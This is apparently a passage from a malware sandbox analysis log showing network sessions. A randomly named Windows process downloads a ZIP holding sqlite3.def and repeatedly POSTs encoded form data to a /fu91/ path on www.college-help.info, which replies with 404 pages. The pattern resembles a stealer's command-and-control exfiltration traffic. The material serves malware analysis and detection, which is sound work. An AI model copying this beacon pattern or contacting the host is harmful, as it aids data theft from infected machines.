Nov 7, 2024 10:50:13.083436012 CET	1236	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 d9 b6 6c 52 95 50 58 cd 6a 05 00 00 b3 16 00 00 0b 00 1c 00 73 71 6c 69 74 65 33 2e 64 65 66 55 54 09 00 03 ca 8e 4b 60 ca 8e 4b 60 75 78 0b 00 01 04 e8 03 00 00 04 e8 03 00 00 85 98 cd 92 e4 26 0c 80 ef fb 36 bb 93 Data Ascii: PKlRPXjsqlite3.defUTK`K`ux&69$(lnv0xt#9??"9d1[#%!yIo2_Z0.qZpT"&mb3E-g&GLho#98]<
Nov 7, 2024 10:50:13.083458900 CET	1236	IN	Data Raw: 89 60 61 c2 c6 8f 5f 51 2a c5 e8 12 cc 22 d9 ce 3c a9 17 c4 ba 71 c2 48 06 3b 69 93 e7 0b 24 96 3c 09 7b fb ef c8 ee c9 2a 0d a6 59 fa 41 c8 59 4f 66 ec 79 11 2d 8e 3b a0 93 f2 f6 f4 14 b5 19 fc a4 6d 02 3f 29 cb df 15 75 87 ef b2 37 c5 9d 55 f8 Data Ascii: `a_Q"<qH;i$<{YAYOfy-;m?)u7UFO0`S)0e{S;4hsf[fA&i'8T-g2bIo0>cP[=K`w5ZdzvS,brD'K4Hm/PKlRW^
Nov 7, 2024 10:50:13.083471060 CET	424	IN	Data Raw: a8 05 0a 1c 80 97 70 87 eb f4 c6 8b 64 7e 9a fa 68 73 bc a9 35 06 a1 11 53 6b 8c cd 78 72 06 5b 63 1c c6 f3 8b 31 d8 ce 89 9d f7 01 be 85 62 a1 1a e5 2f bd c8 fa 21 74 3b bc bc a4 88 b7 99 b0 35 f6 a0 56 06 fd 65 c5 1f 86 08 e1 d5 c9 50 5a a8 6f Data Ascii: pd~hs5Skxr[c1b/!t;5VePZo4$L8GmzaFPhT{}C+I9"vij2iA8bz5H16?&Qb\|"4n\|N\|pa`)/{!zBy'-h60JW9
Nov 7, 2024 10:50:13.083481073 CET	1236	IN	Data Raw: 71 d4 be 5e a1 95 c1 0b d1 9f e4 a0 35 cb 51 fb 0e 3c 6d 8c 23 fa 43 69 33 b5 03 a2 59 00 54 0c 73 a5 cf 81 45 2c e7 23 ec ca b1 a6 14 91 31 2e 35 8f 26 53 c9 4a fd 36 b2 14 c6 73 05 8c 27 9f 46 c4 34 ec 49 7b b8 d8 2a ef 9b c7 08 e3 ff 3d 70 5b Data Ascii: q^5Q<m#Ci3YTsE,#1.5&SJ6s'F4I{=p[J(f2CkG^VQZ.[t&O@vLXgX.^<ZPufP*@FK'4;-n?W]m.JU%E)--NDR0g~)33:%nW@7Y
Nov 7, 2024 10:50:13.083492994 CET	1236	IN	Data Raw: 0d e9 68 23 5e 95 f8 fa 58 f7 96 aa f5 29 89 42 c3 d5 c1 17 b1 01 bc b8 70 0f 76 e2 ba 91 84 a1 f3 ac 1f b1 07 5b 84 3d cd e4 f8 6b 5c 7f d2 08 68 18 1b 1c 95 31 f2 b0 69 e3 24 ea ed 6b 35 e9 3a ab 36 2d 47 7b af e6 a4 d4 07 53 58 a5 85 7d 84 33 Data Ascii: h#^X)Bpv[=k\h1i$k5:6-G{SX}3V"I9Y%YWj>{d\uk.Sv BK{zp4[>S,8d7aa7]h<39`c@0n?){OBRCON_O&}PZVu]hR6eGz
Nov 7, 2024 10:50:13.083503962 CET	424	IN	Data Raw: 84 c3 2c 45 80 30 8b 09 4c c0 aa 07 e1 13 4c 17 3a 35 5c 60 c3 3a 73 ba a9 cb 53 f7 78 8d 75 93 85 16 a4 00 86 c1 c6 24 f1 66 b2 5f 3e fb 65 e0 0c 27 c5 42 91 29 da 94 52 f9 92 05 9f 76 b3 65 8f 4d 7a 69 fa 22 d7 67 c5 cb 48 b3 5a 8e a5 b8 53 e4 Data Ascii: ,E0LL:5\`:sSxu$f_>e'B)RveMzi"gHZSrW.om*')a5ZSj%#i{mZBE6\|1M+:!dlB< `!\gJQ/Nv$WL#9vZbZ%KSI]Jj=09!vev'CI>8"_Bn^</
Nov 7, 2024 10:50:13.083520889 CET	1236	IN	Data Raw: 33 1b b9 a4 f6 20 96 2c d2 58 1b 16 ef 24 8b 6c 74 91 95 5c 22 16 d2 a5 b6 a2 11 74 85 2c b2 6a d3 e9 32 2b b1 b7 e6 b0 e9 d2 9a a3 f3 ad b6 66 50 7f 48 db 78 05 99 b8 c4 1a 16 59 5b dd 0c a6 d5 cd 72 10 df 65 5a 7a 19 05 04 85 ca 79 6c 0a d4 d9 Data Ascii: 3 ,X$lt\"t,j2+fPHxY[reZzylw\W"<VK+YRlgNldaiew9%)F'RP%KiA9Wy\|$*fcfbUM}fm1hu6_l`Y\(oM ug`=@/m
Nov 7, 2024 10:50:13.083533049 CET	212	IN	Data Raw: d6 41 7b a4 2e 48 49 94 54 d7 a7 ac 3f ce 41 31 1e e2 6c cd d1 37 20 a0 4e ab 60 ac ab 26 bb 46 2b 53 33 8e ec e2 d9 28 3c 67 e7 06 ca e5 ab 50 b3 ae 72 b2 6a 4a 84 d5 43 56 e3 31 d4 f9 95 51 1f ea b7 16 0b 0d 8f 25 58 4a 61 80 2c d0 c1 1b 6f 50 Data Ascii: A{.HIT?A1l7 N`&F+S3(<gPrjJCV1Q%XJa,oPpT<jUV6%8YnNl6mUOagdW61\<l4\|acv @ggF#={`J^4%WOr(0&0Y8cSg
Nov 7, 2024 10:50:13.083543062 CET	1236	IN	Data Raw: 8e 27 05 6f 13 59 32 9f 54 2c a8 f3 c4 83 2e 37 26 22 81 4f 1e 43 7e 06 46 44 e1 51 a5 b0 17 18 03 8d 53 7f c6 0c 32 d2 2c 25 81 4c 00 45 e0 8a fa 06 ea 07 be a3 c4 0c 6c 07 f3 33 c6 83 62 20 1e 64 53 41 a8 f6 8a a1 b8 b2 59 45 8e ed 8d 61 66 02 Data Ascii: 'oY2T,.7&"OC~FDQS2,%LEl3b dSAYEafL/}CC/e2tiP.ea}CCiJx$!`6\|QzBrXQCbUTWUz=y+ItiA<aO']RU9)")KiNApH=in"6dqA.ZZN
Nov 7, 2024 10:50:13.088874102 CET	1236	IN	Data Raw: de 6c 37 19 15 d7 59 e8 31 72 00 ac 02 94 b2 60 99 2d 9d 68 1d 50 0b f1 75 80 0c 06 5b c0 a1 00 b3 cc 4b b3 d3 58 b6 b2 94 9d 86 ab 4a 4a 3e a6 59 c3 8f a4 d6 06 c1 02 a0 be 8e ea 69 e4 2e 9a cf 2b 2b 79 e8 3b 9e b4 68 1f 92 b5 bc 36 0b d7 00 78 Data Ascii: l7Y1r`-hPu[KXJJ>Yi.++y;h6x7ogZ1u38np CkCGZl7E;qqbz9-i<P}H?o:sa-Ey<"#n8%qcGi#ij2y8m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49163	38.88.82.56	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:50:23.189984083 CET	2472	OUT	POST /fu91/ HTTP/1.1 Host: www.college-help.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.college-help.info Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.college-help.info/fu91/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 4b 58 62 46 59 64 78 42 76 41 48 48 50 4c 53 67 6f 46 43 4b 33 37 49 50 78 45 47 35 69 4a 6e 38 59 4f 51 33 42 6d 51 74 67 49 30 55 56 64 4c 71 63 69 79 35 5a 35 32 4d 58 4c 5a 46 73 7a 6a 7a 75 69 2b 63 4c 61 62 6c 73 5a 65 68 57 51 37 31 4e 37 75 49 4d 42 41 6a 30 64 74 52 30 79 69 34 45 72 43 77 70 79 66 66 54 42 6e 6b 56 30 6e 5a 4d 6c 2b 68 32 33 77 78 66 32 74 4e 65 44 65 43 4a 61 57 56 47 6d 4e 47 57 37 53 38 4d 6d 73 2b 50 35 33 2f 38 53 59 62 47 4b 47 33 65 48 59 68 68 30 54 4a 48 46 79 70 78 36 41 54 47 36 72 7a 71 2b 48 34 39 2b 4b 63 5a 61 37 57 4f 7a 43 45 48 43 33 77 4b 73 58 48 66 4d 33 6b 6f 2f 4e 71 66 57 31 74 61 76 6a 76 5a 69 48 34 6b 41 31 6a 75 69 45 78 4e 51 33 48 6c 50 35 35 53 68 71 76 53 49 54 78 39 78 49 41 35 6a 47 36 32 68 6d 61 69 79 78 58 66 62 4f 63 76 6f 74 65 68 36 75 78 64 58 2f 39 44 52 64 30 77 47 32 76 73 37 6e 53 69 37 5a 4a 75 31 59 5a 4f 2b 42 6c 4f 48 52 69 73 39 69 50 33 59 4c 67 51 53 76 75 4a 43 74 4e 6f 35 44 45 54 5a 45 38 35 62 34 [TRUNCATED] Data Ascii: mFptYb=KXbFYdxBvAHHPLSgoFCK37IPxEG5iJn8YOQ3BmQtgI0UVdLqciy5Z52MXLZFszjzui+cLablsZehWQ71N7uIMBAj0dtR0yi4ErCwpyffTBnkV0nZMl+h23wxf2tNeDeCJaWVGmNGW7S8Mms+P53/8SYbGKG3eHYhh0TJHFypx6ATG6rzq+H49+KcZa7WOzCEHC3wKsXHfM3ko/NqfW1tavjvZiH4kA1juiExNQ3HlP55ShqvSITx9xIA5jG62hmaiyxXfbOcvoteh6uxdX/9DRd0wG2vs7nSi7ZJu1YZO+BlOHRis9iP3YLgQSvuJCtNo5DETZE85b4gcpdIoDHh3/SujsgS/oz5nP12HN3oeJqqmZLZrb5fOtwYeeVzEAswWUMUzXQy+SKmBuWmJIEgVdPOrC+FS5NL/fuLrIx5ij2V7mx+yqeduYyxV+7dw71TDtkwULTv5JnyM25kl5lYfCr6JIOsD5dFBRlnB8VVt/kP9EvwTFfrmL7+ef4YpPTue4BjzAZhfQBbQeRBYCG1BDzxp73B8pnCQlCF2T0IhaGeVyuPDx6acHayOSukRHcOCfcPbIVeBf00XVfn+5NYH0lKDC2Z52pJCvo3f/6mPR196L7KdAYwydON+2DUWGzfvlpvmR0w/2yGnRRNinv4U8ebJ1CZ6hxhMn9rVmgAq7gpkMOt2SNeo5ypiDu9++DARMF/xyBWWT1mqu75Xivf8U6EKn3KZ8cRQWmEm8rIQNfrntxIMc5cLcWjGub8Ehs7zMQa7BW5l7s6i+fo7CALnGTOf05+k4inz7+KoDLuBeB72ULuBIMWCbw+eH/hcGInC8ThzaGYiCA4kOvj4UVuRqM9Tw1mqP4f4zjgEwJh3nbckkTfZhPqyq4wvnEYtU03zKAoCqKTJB0r3liDJ0TOyXiJ2WNiTVKFt507U1++I5Kn9aXhTrIH85bb1k5M3rm84/06C4Z8n8YylN9e+1CTyD0NqWlxvlTX8D7vxdHhzZQxX [TRUNCATED]
Nov 7, 2024 10:50:23.418241978 CET	294	OUT	Data Raw: 41 4d 56 31 61 66 69 6f 6e 4f 42 58 42 77 4b 2b 68 68 79 6f 33 50 6a 6f 4b 51 73 41 79 68 38 4f 39 45 7a 5a 64 6e 31 31 76 66 58 55 51 46 41 64 58 34 4a 34 46 4d 41 72 31 74 46 4c 65 2f 63 76 57 59 4a 55 4b 32 42 74 70 35 4d 54 32 39 31 45 49 73 Data Ascii: AMV1afionOBXBwK+hhyo3PjoKQsAyh8O9EzZdn11vfXUQFAdX4J4FMAr1tFLe/cvWYJUK2Btp5MT291EIswGHZ51P7VWSCIenkgpLByE2jB4lYVAnkKcag2DUu+dj57YyfgXV2sMSxG+UatvJfXw2bEm2WTF6Vjoy7vtQ0erPDr9wd7QD3qgxovcXryHPl8UOTajNSbVCdDg2372LrsjH6aDMSFRYtv8HycQvDuWT+f1I/Yd8uF
Nov 7, 2024 10:50:23.887725115 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 09:50:23 GMT Server: Apache Last-Modified: Wed, 06 Nov 2024 18:10:13 GMT ETag: "49d-626426de29b28" Accept-Ranges: bytes Content-Length: 1181 Content-Type: text/html Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 32 35 30 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 35 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 62 6c 61 63 6b 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f 74 74 6f 6d 2c 20 20 72 67 62 61 28 31 33 35 2c 31 33 35 2c 31 33 35 2c 31 29 20 30 25 2c 72 67 62 61 [TRUNCATED] Data Ascii: <!DOCTYPE html><html><head> <title>404 Error</title></head><body style="background:white;"> <style type="text/css"> .speachbubble { position: relative; width: 250px; height: 105px; padding: 0px; background: black; background: linear-gradient(to bottom, rgba(135,135,135,1) 0%,rgba(0,0,0,1) 100%); border-radius: 8px; margin:auto; margin-top:100px;}.speachbubble:after { content: ""; position: absolute; bottom: -18px; left: 102px; border-style: solid; border-width: 18px 21px 0; border-color: black transparent; display: block; width: 0; z-index: 1;}.speachbubble span { display:block; margin:auto; text-align:center; font:72px arial; color:white; padding-top:10px; text-shadow: 4px 4px 2px rgba(0, 0, 0, .3);}.message { font:24px arial; color:black; text-align:center; margin-top:40px; text-shadow: 2
Nov 7, 2024 10:50:23.889235020 CET	185	IN	Data Raw: 70 78 20 32 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 32 29 3b 0d 0a 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 20 0d 0a 0d 0a 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 65 61 63 68 62 75 62 62 6c 65 22 3e 3c 73 70 61 6e 3e 34 Data Ascii: px 2px 2px rgba(0, 0, 0, .2);}</style> <div class="speachbubble"><span>404</span></div><div class="message">Error: 404 - File Not Found</div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49164	38.88.82.56	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:50:25.735951900 CET	805	OUT	POST /fu91/ HTTP/1.1 Host: www.college-help.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.college-help.info Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.college-help.info/fu91/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 4b 58 62 46 59 64 78 42 76 41 48 48 50 4d 6d 67 6f 55 43 4b 32 62 49 50 77 45 47 35 6f 70 6e 32 59 4f 63 56 42 69 49 39 67 35 38 55 56 4a 62 71 64 55 47 35 59 35 32 44 63 72 5a 42 30 54 6a 69 75 69 2f 4e 4c 59 2f 6c 73 5a 4b 68 58 7a 54 31 45 66 43 4c 4f 78 41 6c 68 74 74 51 30 79 76 47 45 72 4f 67 70 7a 33 66 54 44 6a 6b 57 77 4c 5a 4a 41 53 68 7a 48 77 37 4f 6d 73 56 65 44 53 74 4a 61 47 6e 47 6d 78 47 57 4b 2b 38 4d 30 6b 2b 4c 75 62 2f 7a 79 59 65 49 71 48 47 59 48 31 4d 75 55 50 46 4c 30 43 59 33 4a 49 46 4e 39 54 4f 6e 38 50 4c 35 39 43 6a 58 38 53 33 50 44 75 42 64 67 3d 3d Data Ascii: mFptYb=KXbFYdxBvAHHPMmgoUCK2bIPwEG5opn2YOcVBiI9g58UVJbqdUG5Y52DcrZB0Tjiui/NLY/lsZKhXzT1EfCLOxAlhttQ0yvGErOgpz3fTDjkWwLZJAShzHw7OmsVeDStJaGnGmxGWK+8M0k+Lub/zyYeIqHGYH1MuUPFL0CY3JIFN9TOn8PL59CjX8S3PDuBdg==
Nov 7, 2024 10:50:26.437747002 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 09:50:26 GMT Server: Apache Last-Modified: Wed, 06 Nov 2024 18:10:13 GMT ETag: "49d-626426de29b28" Accept-Ranges: bytes Content-Length: 1181 Content-Type: text/html Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 32 35 30 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 35 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 62 6c 61 63 6b 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f 74 74 6f 6d 2c 20 20 72 67 62 61 28 31 33 35 2c 31 33 35 2c 31 33 35 2c 31 29 20 30 25 2c 72 67 62 61 [TRUNCATED] Data Ascii: <!DOCTYPE html><html><head> <title>404 Error</title></head><body style="background:white;"> <style type="text/css"> .speachbubble { position: relative; width: 250px; height: 105px; padding: 0px; background: black; background: linear-gradient(to bottom, rgba(135,135,135,1) 0%,rgba(0,0,0,1) 100%); border-radius: 8px; margin:auto; margin-top:100px;}.speachbubble:after { content: ""; position: absolute; bottom: -18px; left: 102px; border-style: solid; border-width: 18px 21px 0; border-color: black transparent; display: block; width: 0; z-index: 1;}.speachbubble span { display:block; margin:auto; text-align:center; font:72px arial; color:white; padding-top:10px; text-shadow: 4px 4px 2px rgba(0, 0, 0, .3);}.message { font:24px arial; color:black; text-align:center; margin-top:40px; text-shadow: 2
Nov 7, 2024 10:50:26.438641071 CET	185	IN	Data Raw: 70 78 20 32 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 32 29 3b 0d 0a 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 20 0d 0a 0d 0a 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 65 61 63 68 62 75 62 62 6c 65 22 3e 3c 73 70 61 6e 3e 34 Data Ascii: px 2px 2px rgba(0, 0, 0, .2);}</style> <div class="speachbubble"><span>404</span></div><div class="message">Error: 404 - File Not Found</div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49165	38.88.82.56	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:50:28.275607109 CET	2472	OUT	POST /fu91/ HTTP/1.1 Host: www.college-help.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.college-help.info Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.college-help.info/fu91/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 4b 58 62 46 59 64 78 42 76 41 48 48 4f 73 32 67 76 33 36 4b 6e 72 49 4d 30 30 47 35 69 4a 6e 79 59 4f 51 56 42 6d 51 74 67 4b 51 55 56 61 6a 71 64 79 79 35 65 35 32 44 4a 37 5a 46 73 7a 6a 77 75 6a 61 79 4c 61 6d 65 73 61 6d 68 57 53 66 31 4e 36 75 49 46 68 41 6a 72 4e 74 54 30 79 76 70 45 72 65 6b 70 7a 7a 6c 54 44 72 6b 56 47 66 5a 4d 77 53 69 38 6e 77 37 4f 6d 73 4a 65 44 54 38 4a 61 65 2f 47 6b 42 77 57 35 6d 38 50 57 73 2b 48 70 33 34 6a 43 59 53 43 4b 47 35 65 48 56 48 68 30 54 4e 48 46 6d 50 78 36 4d 54 48 76 2f 7a 71 2f 48 2f 79 4f 4b 54 55 36 37 57 4b 7a 43 52 48 43 32 78 4b 73 58 48 66 4d 4c 6b 6f 76 4e 71 66 53 42 71 55 50 6a 76 51 43 48 2f 71 67 34 46 75 69 51 62 4e 51 6d 6c 6c 38 31 35 54 6a 43 76 56 34 54 78 74 42 49 47 35 6a 47 4e 2f 42 6e 37 69 79 5a 66 66 62 66 48 76 6f 74 65 68 34 6d 78 59 42 44 39 56 52 64 30 2f 6d 32 69 6d 62 6e 52 69 36 74 72 75 31 73 5a 4f 2f 5a 6c 50 31 5a 69 39 72 32 4d 34 34 4c 68 48 69 76 77 66 79 74 39 6f 35 65 4d 54 5a 4e 6e 35 62 49 [TRUNCATED] Data Ascii: mFptYb=KXbFYdxBvAHHOs2gv36KnrIM00G5iJnyYOQVBmQtgKQUVajqdyy5e52DJ7ZFszjwujayLamesamhWSf1N6uIFhAjrNtT0yvpErekpzzlTDrkVGfZMwSi8nw7OmsJeDT8Jae/GkBwW5m8PWs+Hp34jCYSCKG5eHVHh0TNHFmPx6MTHv/zq/H/yOKTU67WKzCRHC2xKsXHfMLkovNqfSBqUPjvQCH/qg4FuiQbNQmll815TjCvV4TxtBIG5jGN/Bn7iyZffbfHvoteh4mxYBD9VRd0/m2imbnRi6tru1sZO/ZlP1Zi9r2M44LhHivwfyt9o5eMTZNn5bIgcvBIqiHh3PSt78gWpY/cnP8RHNz4eKeqmILZi5BcQtweV+VtAAsWWUI6zTQy/jSmTe2mN/4/CdPNvC/DJpNf/f7LrJBpjTGV5Wx+zJ6esIzaYe6I+r1FDtkOUPPV44PyM1xkg8xYfCrlMIOqYJB3BWtjB8J8t5AP9V/wTH7ruL7+T/4f8/SPe8QUzCZbekRbT8JBaAu1WTzvr73AiZnlQmqF2XkYhbyeVXCPAUWaRna2SCuSRHcVCfo9bIFOBdQ0XQ/n48hYcElxOi2FzWpqCvgnf/ucPTZ97rbKOjAww9OPkWDUZmyMvlwamQZF/zWG7wBNzXv7eceUP1Ca+hw4MhdrVmcAq6Ypk/mtzjNenpyn/Tur1eOlRNpFxwtGWTVmr8T5UhHQyE6ecX3Ad8c1QWmIm9DYQ9/rk4FIBd5fHcWoPObvZRtTzMBH7BT+lI46i+Po63ULk2TOf059k4ijz7ywoBSLBeB73BnuB70WN7xVC3/EL2I5C9DXzaeyiG44ldrj4UVtVaM+Uw1pqPFP4ziBEwVh3VXcmynfZD3q/a4w53Ebk000zKA4CovIJA0r3VCDaHrJxniMmWMpZ1Hbt54dUw++JLOn7fjhSbIHiJbU7E5Zq6b94/oAC5JsmNoyk6hezWaQ7T0Ik2lzvlf88Dj3xeWczagxX [TRUNCATED]
Nov 7, 2024 10:50:28.280725956 CET	1758	OUT	Data Raw: 55 6d 56 30 57 66 69 70 48 4f 42 30 5a 77 4c 65 68 67 36 49 33 47 6a 6f 4b 77 73 41 37 65 38 4b 31 55 7a 62 31 6e 32 53 48 66 55 6a 45 46 4a 4e 58 2b 4a 34 45 69 45 72 78 69 46 4c 65 4e 63 76 69 59 4a 55 36 32 42 75 68 35 4c 6a 32 36 71 6b 49 74 Data Ascii: UmV0WfipHOB0ZwLehg6I3GjoKwsA7e8K1Uzb1n2SHfUjEFJNX+J4EiErxiFLeNcviYJU62Buh5Lj26qkIt4mHkyVPdVWT7Ifa/gqHB83OjGJlYVwnmB8aJ9jZj+de27ZC1gih2s+axQ7ga7/JSfQ2sEmyyTFqvjtWBvcc0ebPDv7ce/QDxtgxlvcXPyHHp8VjUah9SbXqdDQ208GLtvjHkaDQ3FRQTv9rycU/Dv2D+IFI/HN9FG
Nov 7, 2024 10:50:28.966834068 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 09:50:28 GMT Server: Apache Last-Modified: Wed, 06 Nov 2024 18:10:13 GMT ETag: "49d-626426de29b28" Accept-Ranges: bytes Content-Length: 1181 Content-Type: text/html Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 32 35 30 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 35 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 62 6c 61 63 6b 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f 74 74 6f 6d 2c 20 20 72 67 62 61 28 31 33 35 2c 31 33 35 2c 31 33 35 2c 31 29 20 30 25 2c 72 67 62 61 [TRUNCATED] Data Ascii: <!DOCTYPE html><html><head> <title>404 Error</title></head><body style="background:white;"> <style type="text/css"> .speachbubble { position: relative; width: 250px; height: 105px; padding: 0px; background: black; background: linear-gradient(to bottom, rgba(135,135,135,1) 0%,rgba(0,0,0,1) 100%); border-radius: 8px; margin:auto; margin-top:100px;}.speachbubble:after { content: ""; position: absolute; bottom: -18px; left: 102px; border-style: solid; border-width: 18px 21px 0; border-color: black transparent; display: block; width: 0; z-index: 1;}.speachbubble span { display:block; margin:auto; text-align:center; font:72px arial; color:white; padding-top:10px; text-shadow: 4px 4px 2px rgba(0, 0, 0, .3);}.message { font:24px arial; color:black; text-align:center; margin-top:40px; text-shadow: 2
Nov 7, 2024 10:50:28.966856003 CET	185	IN	Data Raw: 70 78 20 32 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 32 29 3b 0d 0a 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 20 0d 0a 0d 0a 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 65 61 63 68 62 75 62 62 6c 65 22 3e 3c 73 70 61 6e 3e 34 Data Ascii: px 2px 2px rgba(0, 0, 0, .2);}</style> <div class="speachbubble"><span>404</span></div><div class="message">Error: 404 - File Not Found</div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49166	38.88.82.56	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
